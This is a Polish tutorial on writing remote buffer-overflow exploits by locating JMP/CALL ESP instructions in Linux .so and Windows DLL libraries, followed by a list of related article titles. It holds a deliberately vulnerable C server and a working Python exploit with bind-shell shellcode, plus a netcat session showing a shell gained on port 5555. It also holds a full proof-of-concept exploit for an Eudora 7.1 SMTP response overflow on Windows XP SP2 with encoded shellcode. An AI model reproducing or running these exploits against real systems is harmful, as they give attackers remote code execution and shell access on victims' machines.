[ Odnajdywanie shellcodu w procesach zdalnych. ]

Wielkość: px
Rozpocząć pokaz od strony:

Download "[ Odnajdywanie shellcodu w procesach zdalnych. ]"

Transkrypt

1 [ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) <h07@interia.pl> x00 [INTRO] Do właściwego zrozumienia treści tego artykułu konieczna jest znajomość podstaw assemblera x86 oraz wiedza ogólna na temat błędów naruszeń pamięci. Z wielu materiałów dostępnych w sieci jak i w ksiąŝkach moŝna dowiedzieć się czym jest przepełnienie bufra oraz jak je wykorzystać. Jednak większość opisów tej techniki włamań opiera się na eksploitacji lokalnej. Eksploitacja zdalna a właściwe odnalezienie shellcodu w aplikacji zdalnej nadal pozostaje niejasne dla wielu początkujących twórców exploitów. Niniejszy artykuł opisuje technikę odnajdywania shellcodu w pamięci procesów zdalnych pracujących pod kontrolą systemów UNIX, Windows. 0x01 [TEORIA] Większość tradycyjnych exploitów lokalnych wykorzystujących błędy w oprogramowaniu UNIX'owym odnajduje shellcode poprzez "strzelanie" w offset lub posługując się adresem zmiennej środowiskowej. Jednak odgadywanie adresu pod którym znajduje się shellcode w procesie zdalnym przyniosłoby marny efekt i byłoby czynnością chaotyczną poniewaŝ nie mielibyśmy dostępu ani do wartości rejestrów procesora ani do zmiennych środowiskowych. Ponadto taka "praktyka" w ogóle nie nadawałaby się do eksploitacji programów pracujących pod kontrolą systemu Windows poniewaŝ Windows opiera się na wątkach pracujących na tych samych danych w obrębie jednego procesu. Jakikolwiek błąd naruszenia pamięci spowodowałby zakończenie całego programu uniemoŝliwiając włamanie. Zatem jak poradzić sobie z tym problemem? Wyobraźmy sobie sytuacje, w której po przepełnieniu bufora adres powrotu został nadpisany adresem rozkazu JMP ESP lub CALL ESP. W takiej sytuacji sterowanie zostanie automatycznie przekazane do kodu znajdującego się na stosie a skuteczność exploitu będzie zaleŝna tylko od jednego czynniku. Jak się domyślacie, czynnikiem tym będzie adres, pod którym znajduje się rozkaz JMP ESP lub CALL ESP. Taki adres określany jest terminem "opcode". 0x02 [UNIX, wykorzystanie "opcodów" z bibliotek.so] Biblioteki.so przechowują "zewnętrzne" funkcje z których mogą korzystać programy pracujące pod kontrolą systemów UNIX. Z punktu widzenia przestrzeni adresowej pierwszy bajt kodu funkcji z biblioteki.so zawsze ładowany jest pod tym samym adresem. Sprawdźmy to.. [h07@md5 C]$ echo 'main(){int a = 0;}' > prog1.c [h07@md5 C]$ echo 'main(){int a = 0; int b = 1;}' > prog2.c [h07@md5 C]$ gcc -o prog1 prog1.c [h07@md5 C]$ gcc -o prog2 prog2.c [h07@md5 C]$ ldd prog1 linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) [h07@md5 C]$ ldd prog2 linux-gate.so.1 => (0xffffe000)

2 libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) C]$ objdump -D /lib/ld-linux.so.2 grep "<system_dirs>" 00010c80 <system_dirs>: C]$ gdb prog1 (gdb) break main Breakpoint 1 at 0x (gdb) run Starting program: /home/h07/c/prog1 Breakpoint 1, 0x in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. [h07@md5 C]$ gdb prog2 (gdb) break main Breakpoint 1 at 0x (gdb) run Starting program: /home/h07/c/prog2 Breakpoint 1, 0x in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. Z powyŝszego przykładu łatwo moŝemy zauwaŝyć, Ŝe w przestrzeniach adresowych dwóch róŝnych programów adres pierwszego rozkazu funkcji system_dirs() jest zawsze taki sam. Fakt ten jest kluczowy poniewaŝ jesli "opcode" będzie znajdował się w bibliotece.so to jego adres zawsze będzie taki sam dla danej dystrybucji systemu dzięki czemu exploit uzyska niezawodność co z kolei daje moŝliwość sprawnego przeprowadzenia ataku zdalnego. Spróbujmy zatem napisać exploit dla poniŝszego serwera, wykorzystując opcode do odnalezienia shellcodu w pamięci. //serv.c #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 4444 struct sockaddr_in server, client; char global_buf[4096]; void vuln(char *arg) { char local_buf[256]; strcpy(local_buf, arg); printf("[+] Client request: %s\n", local_buf); } int main(void) { int sock = socket(af_inet, SOCK_STREAM, IPPROTO_TCP); if(sock == -1) {

3 } printf("[-] Socket error\n"); return -1; server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(inaddr_any); server.sin_port = htons(port); int retval = bind(sock, (struct sockaddr *) &server, sizeof(server)); if(retval == -1) { printf("[-] Bind error\n"); close(sock); return -1; } listen(sock, 1); printf("[+] Listening on %d\n", PORT); int len = sizeof(client); int cl = accept(sock, (struct sockaddr *) &client, &len); printf("[+] Connection accepted from %s\n", inet_ntoa(client.sin_addr)); recv(cl, global_buf, sizeof(global_buf) - 1, 0); vuln(global_buf); } close(cl); close(sock); return 0; Jak widać funkcja vuln() serwera podatna jest na przepełnienie bufora. W pierwszej kolejności musimy wyświetlić biblioteki.so uŝywane przez serwer. [h07@md5 C]$ gcc -o serv serv.c [h07@md5 C]$ ldd serv linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) Teraz naleŝy znaleźć opcode a właściwie funkcje, w której występuje opcode JMP ESP lub CALL ESP. Do tego celu uŝyjemy narzędzia objdump oraz dowolnego edytora tekstu, któremu zlecimy szukanie rozkazu "call *%esp". Warto przypomnieć, Ŝe narzędzie analizujące objdump oraz debugger gdb posługują się notacją assemblera AT&T, z tąd teŝ dziwny dla niektórych zapis szukanego rozkazu. [h07@md5 C]$ objdump -D /lib/ld-linux.so.2 > a.txt [h07@md5 C]$ kwrite a.txt 00010cb8 <undefined_msg>: 10cb8: 75 6e jne 10d28 <undefined_msg+0x70> 10cba: e imul $0x2064,%fs:%gs:0x65(%esi),%bp 10cc1: 20 10cc2: jae 10d3d <undefined_msg+0x85> 10cc4: 6d insl (%dx),%es:(%edi) 10cc5: 62 6f 6c bound %ebp,0x6c(%edi) 10cc8: 3a 20 cmp (%eax),%ah... 10cde: add %al,(%eax) 10ce0: ca 4b ff lret $0xff4b 10ce3: ff f7 push %edi 10ce5: 4b dec %ebx 10ce6: ff (bad) 10ce7: ff d4 call *%esp Edytor tekstu odnalazł opcode w funkcji undefined_msg(). MoŜemy teraz przystąpić do odczytania adresu opcode z wirtualnej przestrzeni adresowej procesu serwera. [h07@md5 C]$ gdb serv (gdb) break main

4 Breakpoint 1 at 0x80485b9 (gdb) run Starting program: /home/h07/c/serv Breakpoint 1, 0x080485b9 in main () (gdb) disas undefined_msg Dump of assembler code for function undefined_msg: 0x40010cb8 <undefined_msg+0>: jne 0x40010d28 <undefined_msg+112> 0x40010cba <undefined_msg+2>: imul $0x2064,%fs:%gs:0x65(%esi),%bp 0x40010cc2 <undefined_msg+10>: jae 0x40010d3d <undefined_msg+133> 0x40010cc4 <undefined_msg+12>: insl (%dx),%es:(%edi) 0x40010cc5 <undefined_msg+13>: bound %ebp,0x6c(%edi) 0x40010cc8 <undefined_msg+16>: cmp (%eax),%ah 0x40010cca <undefined_msg+18>: add %al,(%eax) 0x40010ccc <undefined_msg+20>: add %al,(%eax) 0x40010cce <undefined_msg+22>: add %al,(%eax) 0x40010cd0 <undefined_msg+24>: add %al,(%eax) 0x40010cd2 <undefined_msg+26>: add %al,(%eax) 0x40010cd4 <undefined_msg+28>: add %al,(%eax) 0x40010cd6 <undefined_msg+30>: add %al,(%eax) 0x40010cd8 <undefined_msg+32>: add %al,(%eax) 0x40010cda <undefined_msg+34>: add %al,(%eax) 0x40010cdc <undefined_msg+36>: add %al,(%eax) 0x40010cde <undefined_msg+38>: add %al,(%eax) 0x40010ce0 <undefined_msg+40>: lret $0xff4b 0x40010ce3 <undefined_msg+43>: push %edi 0x40010ce5 <undefined_msg+45>: dec %ebx 0x40010ce6 <undefined_msg+46>: (bad) 0x40010ce7 <undefined_msg+47>: call *%esp... Bingo, adres 0x40010ce7 jest adresem rozkazu CALL ESP, który przekaŝe sterowanie automatycznie do kodu znajdującego się na stosie. Napisanie exploitu jest tylko formalnością, chociaŝ w sposobie eksploitacji zajdą niewielkie zmiany. Rejestr ESP przechowuje adres wierzchołka stosu. Gdy funkcja kończy swoje działanie i wykonywany jest rozkaz RET to ów rozkaz pobiera adres powrotny z miejsca wskazywanego przez rejestr ESP. Jeśli za sprawą opcodu CALL ESP sterowanie zostanie przekazane na stos to oczywisty staje się fakt, Ŝe shellcode musi znajdować się za adresem powrotnym umieszczonym na stosie, poniewaŝ adres ten wskazywany jest przez rejestr ESP przy wychodzeniu z funkcji. Zawartość bufora tradycyjnych exploitów lokalnych: [NOP's][Shellcode][Return address] Zawartość bufora exploitu wykorzystującego opcode JMP/CALL ESP: [Any_Data][Return address][nop's][shellcode] Metodą prób ustalamy, Ŝe do nadpisania adresu powrotnego funkcji vuln() serwera potrzeba 272 bajtów. Wszystkie te informacje składamy w "całość" pisząc explit.. #!/usr/bin/python from time import sleep from struct import pack from socket import * host = ' ' port = 4444 opcode = 0x40010ce7 # /lib/ld-linux.so.2 <undefined_msg+47>: CALL ESP # linux_ia32_bind (TCP PORT 5555) shellcode = ( "\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79" "\x40\xb8\xd6\x83\xeb\xfc\xe2\xf4\x48\x9b\xeb\x95\x2a\x2a\xba\xbc" "\x1f\x18\x21\x5f\x98\x8d\x38\x40\x3a\x12\xde\xbe\x6c\xf3\xde\x85" "\xf0\xa1\xd2\xb0\x21\x10\xe9\x80\xf0\xa1\x75\x56\xc9\x26\x69\x35" "\xb4\xc0\xea\x84\x2f\x03\x31\x37\xc9\x26\x75\x56\xea\x2a\xba\x8f" "\xc9\x7f\x75\x56\x30\x39\x41\x66\x72\x12\xd0\xf9\x56\x33\xd0\xbe" "\x56\x22\xd1\xb8\xf0\xa3\xea\x85\xf0\xa1\x75\x56") buf = "A" * 268 buf += pack("<l", opcode) buf += "\x90" * 32

5 buf += shellcode # buf = [A * 268][Return address(opcode)][nop * 32][Shellcode] s = socket(af_inet, SOCK_STREAM) s.connect((host, port)) s.send(buf) sleep(1) s.close() Kod exploitu jest tak prosty, Ŝe nie wymaga tłumaczenia ;] Uruchamiamy serwer i eksploitujemy.. [h07@md5 C]$./serv [+] Listening on 4444 C:\>exp.py C:\>nc -v MD5 [ ] 5555 (?) open whoami h07 echo $SHELL /bin/bash Exploit wstrzyknął do procesu serwera shellcode, który dał dostęp do powłoki systemu na porcie TCP Dzięki zastosowaniu opcodu ów exploit uzyskał niezawodność i kaŝdy "atak" na przykładowy serwer zawsze powiedzie się sukcesem bez "zgadywania" adresu i innych tym podobnych praktyk. Jedynym czynnikiem wpływającym na skuteczność exploitu jest sam opcode, który róŝny jest dla róŝnych dystrybucji systemu. 0x03 [WINDOWS, wykorzystanie "opcodów" z bibliotek DLL] Biblioteki DLL znacznie róŝnią się budową od UNIX'owych bibliotek.so jednak idea eksploitacji oprogramowania z uŝyciem "opcodów" w systemie Windows jest analogiczna do systemu UNIX. Istotnym elementem bibliotek DLL jest wirtualny adres względny RVA (Relative Virtual Address). KaŜda funkcja w bibliotece DLL posiada swój adres RVA określający jej względne połoŝenie. Jeśli do adresu pierwszego bajtu pliku załadowanego do pamięci (Image Base) dodamy adres RVA to otrzymamy wirtualny adres funkcji w przestrzeni adresowej procesu (VA - Virtual Address). Dla przykładu pierwszy bajt (Image Base) biblioteki X został załadowany pod adresem 0x Funkcja foo() biblioteki X posiada RVA 4000 zatem jej wirtualny adres (VA) w procesie równy jest 0x (Image Base + RVA = VA) Ale po co to wszystko? Specyficzny sposób adresowania pamięci przez biblioteki DLL wykorzystywany jest przez disassemblery, które sumując Image Base i RVA wyświetlają rzeczywiste adresy wirtualne funkcji bez potrzeby załadowania biblioteki do konkretnego procesu. Fakt ten znacznie ułatwia odnalezienie danego opcodu w bibliotece DLL, sprowadzając sam proces szukania do uŝycia jednego narzędzia (np disassemblera objdump). Równie wygodnym sposobem przeszukiwania bibliotek DLL w poszukiwaniu określonych rozkazów jest uŝycie debuggera OllyDbg lub narzędzia findjmp. Przykład uŝycia programu findjmp: C:\>findjmp shell32.dll ESP > a.txt C:\>more a.txt /E Reg: ESP Scanning shell32.dll for code usable with the ESP register 0x7C9DEA11 push ESP - ret 0x7CA06F76 push ESP - ret 0x7CA58265 jmp ESP 0x7CA62587 call ESP 0x7CA6487B call ESP 0x7CB1289F jmp ESP 0x7CB3C1F6 jmp ESP 0x7CBBD38B call ESP 0x7CBFA14C jmp ESP 0x7CBFB8C4 call ESP 0x7CC00AC4 call ESP 0x7CC00EB0 call ESP

6 0x7CC00FE8... jmp ESP Przykładowy exploit wykorzystujący opcode JMP ESP i wstrzykujący shellcode do procesu programu pocztowego Eudora 7.1 pracującego pod kontrolą systemu Windows XP SP2.. #!/usr/bin/python # Eudora 7.1 SMTP Response 0day Remote Buffer Overflow PoC Exploit # Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl> # Tested on Eudora / XP SP2 Polish # Shellcode type: Windows Execute Command (calc.exe) # Note:.. # This vulnerability can be exploited only if user # will ignore warning about "buffer overflow" error. ## from struct import pack from time import sleep from socket import * bind_addr = ' ' bind_port = 25 shellcode = ( "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1" "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07" "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25" "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5" "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d" "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4" "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0" "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c" "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b" "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4") opcode = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish) buf = "250-" buf += "A" * 76 buf += pack("<l", opcode) buf += "\x90" * 32 buf += shellcode buf += "\r\n" s = socket(af_inet, SOCK_STREAM) s.bind((bind_addr, bind_port)) s.listen(1) print "Listening on %s:%d..." % (bind_addr, bind_port) cl, addr = s.accept() print "Connected accepted from: %s" % (addr[0]) cl.send('220 Dupa Jasia\r\n') print cl.recv(1024)[:-1] cl.send(buf) sleep(1) cl.close() s.close() print "Done" # EoF # milw0rm.com [ ] Myślę, Ŝe kod exploitu nie wymaga tłumaczenia poniewaŝ jego sposób działania jest analogiczny do exploitu zaprezentowanego w poprzednim podpunkcie tego artykułu. 0x04 [OUTRO] Warto wspomnieć, Ŝe istnieją jeszcze inne grupy rozkazów, które mogą być wykorzystane do przekazania sterowania w odpowiednie miejsce. Na przykład moŝe zdarzyć się, Ŝe podczas przepełnienia bufora rejestr ECX wskazuje adres bufora z shellcodem. W takim wypadku moŝna nadpisać

7 adres powrotu adresem rozkazu CALL ECX co w rezultacie przekaŝe sterowanie wprost do shellcodu. "Opcode" PUSH ECX RET dałby taki sam efekt. Przykładem "opcodów egzotycznych" jest blok rozkazów POP POP RET. Taka kombinacja rozkazów pozawala na przekazanie sterowania na stos tuŝ za nadpisanymi wskaźnikami procedur obsługi wyjątków. Metoda ta bardzo często stosowana jest przy tworzeniu exploitów wykorzystujących przepełnienia bufora w usługach DCE-RPC systemu Windows. Artykuł ten jest dość "lajtowy" ale na pewno pomoŝe on zrozumieć techniki odnajdywania shellcodu w pamięci procesów zdalnych wszystkim początkującym twórcom exploitów. 0x05 [LINKI] OllyDbg - Findjmp - Windows Opcode Database - Variations in Exploit methods between Linux and Windows - More info about buffer overflow in Eudora 7.1 (CVE ) - EoF;

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje

Bardziej szczegółowo

Buffer Overflow (art. 2) by h07 (h07@interia.pl)

Buffer Overflow (art. 2) by h07 (h07@interia.pl) Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania

Bardziej szczegółowo

Krótkie wprowadzenie do korzystania z OpenSSL

Krótkie wprowadzenie do korzystania z OpenSSL Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction

Bardziej szczegółowo

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący

Bardziej szczegółowo

Gniazda BSD. komunikacja bezpołączeniowa

Gniazda BSD. komunikacja bezpołączeniowa Gniazda BSD komunikacja bezpołączeniowa Użycie gniazd w transmisji bezpołączeniowej socket() socket() bind() bind() STOP! recv() żądanie send() send() odpowiedź recv() STOP! recvfrom() #include

Bardziej szczegółowo

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący)

Bardziej szczegółowo

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu. Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać

Bardziej szczegółowo

Iteracyjny serwer TCP i aplikacja UDP

Iteracyjny serwer TCP i aplikacja UDP Iteracyjny serwer TCP i aplikacja UDP Iteracyjny serwer TCP Funkcje wywoływane przez serwer TCP socket() - bind() - listen() - accept() - read() / write() - close() socket() Creates an endpoint for communication

Bardziej szczegółowo

Przepełnienie bufora i łańcuchy formatujace

Przepełnienie bufora i łańcuchy formatujace Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl

Bardziej szczegółowo

3. Identyfikacja. SKŁADNIA #include <sys/socket.h> int getpeername(int socket, struct sockaddr *addr, int *addrlen);

3. Identyfikacja. SKŁADNIA #include <sys/socket.h> int getpeername(int socket, struct sockaddr *addr, int *addrlen); 3.1. Określanie adresu połączonego hosta 3. #include int getpeername(int socket, struct sockaddr *addr, int *addrlen); Funkcja getpeername dostarcza adresu drugiej strony połączenia. Parametry:

Bardziej szczegółowo

Literatura uzupełniająca: W. Richard Stevens, Programowanie zastosowań sieciowych w systemie Unix WNT 1998

Literatura uzupełniająca: W. Richard Stevens, Programowanie zastosowań sieciowych w systemie Unix WNT 1998 Gniazda BSD Literatura uzupełniająca: W. Richard Stevens, Programowanie zastosowań sieciowych w systemie Unix WNT 1998 socket() Użycie gniazd w transmisji połączeniowej bind() listen() socket() accept()

Bardziej szczegółowo

Optymalizacja szelkodów w Linuksie

Optymalizacja szelkodów w Linuksie Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie

Bardziej szczegółowo

[ Programowe tunelowanie połączeń TCP. ]

[ Programowe tunelowanie połączeń TCP. ] [ Programowe tunelowanie połączeń TCP. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Art ten jak zwykle kierowany jest do osób,

Bardziej szczegółowo

Return-oriented exploiting

Return-oriented exploiting HISPASEC Return-oriented exploiting by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi

Bardziej szczegółowo

Programowanie w asemblerze Aspekty bezpieczeństwa

Programowanie w asemblerze Aspekty bezpieczeństwa Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach

Bardziej szczegółowo

Programowanie sieciowe

Programowanie sieciowe Programowanie sieciowe dr Tomasz Tyrakowski Dyż ury: wtorki 12:00 13:00 czwartki 14:00 15:00 pokój B4-5 e-mail: ttomek@amu.edu.pl materiały: http://www.amu.edu.pl/~ttomek 1 Wymagania podstawowa znajomość

Bardziej szczegółowo

Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła

Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła Wydział Inżynierii Mechanicznej i Informatyki Instytut Informatyki Teoretycznej i Stosowanej

Bardziej szczegółowo

Programowanie przy użyciu gniazdek

Programowanie przy użyciu gniazdek Programowanie przy użyciu gniazdek Gniazdo (ang. socket) pojęcie abstrakcyjne reprezentujące dwukierunkowy punkt końcowy połączenia. Dwukierunkowość oznacza możliwość wysyłania i przyjmowania danych. Wykorzystywane

Bardziej szczegółowo

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24 Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.

Bardziej szczegółowo

Podstawowe typy serwerów

Podstawowe typy serwerów Podstawowe typy serwerów 1. Algorytm serwera. 2. Cztery podstawowe typy serwerów. iteracyjne, współbieżne, połączeniowe, bezpołączeniowe. 3. Problem zakleszczenia serwera. 1 Algorytm serwera 1. Utworzenie

Bardziej szczegółowo

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq)

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq) Program my_ping: wysłanie komunikatu ICMP z żądaniem echa Struktura icmp (plik netinet/ip_icmp.h) 0 7 8 15 16 31 TYP (icmp_type) KOD (icmp_code) IDENTYFIKATOR (icmp_id) SUMA KONTROLNA (icmp_cksum) NUMER

Bardziej szczegółowo

Architektura typu klient serwer: uproszczony klient POP3

Architektura typu klient serwer: uproszczony klient POP3 Architektura typu klient serwer: uproszczony klient POP3 Wydział Inżynierii Mechanicznej i Informatyki Instytut Informatyki Teoretycznej i Stosowanej dr inż. Łukasz Szustak Składniki systemu poczty e-mail

Bardziej szczegółowo

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow. Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie

Bardziej szczegółowo

Spis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23

Spis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23 Spis treści Przedmowa do wydania trzeciego... 11 Szkoła Hakerów??? Czy wyście już do końca powariowali?!... 11 Kim jest haker?... 12 Misja Szkoły Hakerów... 12 Słowem wstępu... 15 Sposób przekazywania

Bardziej szczegółowo

Parę słów o przepełnieniu bufora.

Parę słów o przepełnieniu bufora. Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju

Bardziej szczegółowo

Programowanie Sieciowe 1

Programowanie Sieciowe 1 Programowanie Sieciowe 1 dr inż. Tomasz Jaworski tjaworski@iis.p.lodz.pl http://tjaworski.iis.p.lodz.pl/ Klient UDP Kolejność wykonywania funkcji gniazdowych klienta UDP Protokół UDP jest bezpołączeniowy:

Bardziej szczegółowo

Struktury. Przykład W8_1

Struktury. Przykład W8_1 Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla

Bardziej szczegółowo

2. Interfejs gniazd. 2.1. Gniazdo

2. Interfejs gniazd. 2.1. Gniazdo 2. 2.1. Gniazdo Gniazdo (ang. socket): pewna abstrakcja wykorzystywana do wysyłania lub otrzymywania danych z innych procesów. Pełni rolę punktu końcowego w linii komunikacyjnej. to interfejs między programem

Bardziej szczegółowo

Ćwiczenie nr 6. Programowanie mieszane

Ćwiczenie nr 6. Programowanie mieszane Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu

Bardziej szczegółowo

002 Opcode Strony projektu:

002 Opcode Strony projektu: ReverseCraft assem bler by gynvael.coldwind//vx Opcode Strony projektu: http://re.coldwind.pl/ http://www.uw-team.org/ Zasoby! czyli co możemy użyć... Instrukcje procesora Pamięć Wirtualna Rejestry CPU

Bardziej szczegółowo

Zadania: 1. Funkcja przeliczająca F na C: float FtoC(float f){ return (f 32.0) * 5.0 / 9.0; }

Zadania: 1. Funkcja przeliczająca F na C: float FtoC(float f){ return (f 32.0) * 5.0 / 9.0; } Zadania: 1. Funkcja przeliczająca F na C: float FtoC(float f){ return (f 32.0) * 5.0 / 9.0; 2. Utworzyć dodatkową funkcję, która przelicza F na K, na bazie poprzedniej F to C (z poprzednich zajęć), wg

Bardziej szczegółowo

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,

Bardziej szczegółowo

Informatyka. Wy-02 Tablice, wskaźniki, warunki i pętle. mgr inż. Krzysztof Kołodziejczyk

Informatyka. Wy-02 Tablice, wskaźniki, warunki i pętle. mgr inż. Krzysztof Kołodziejczyk Informatyka Wy-02 Tablice, wskaźniki, warunki i pętle mgr inż. Krzysztof Kołodziejczyk krzysztof.m.kolodziejczyk@pwr.edu.pl 06.03.2019 Strona kursu http://w12.pwr.wroc.pl/inf/ Konspekt 1 if-else 2 do-while

Bardziej szczegółowo

Wstęp do Programowania, laboratorium 02

Wstęp do Programowania, laboratorium 02 Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite

Bardziej szczegółowo

ZESZYTY ETI ZESPOŁU SZKÓŁ W TARNOBRZEGU Nr 1 Seria: Teleinformatyka 2013

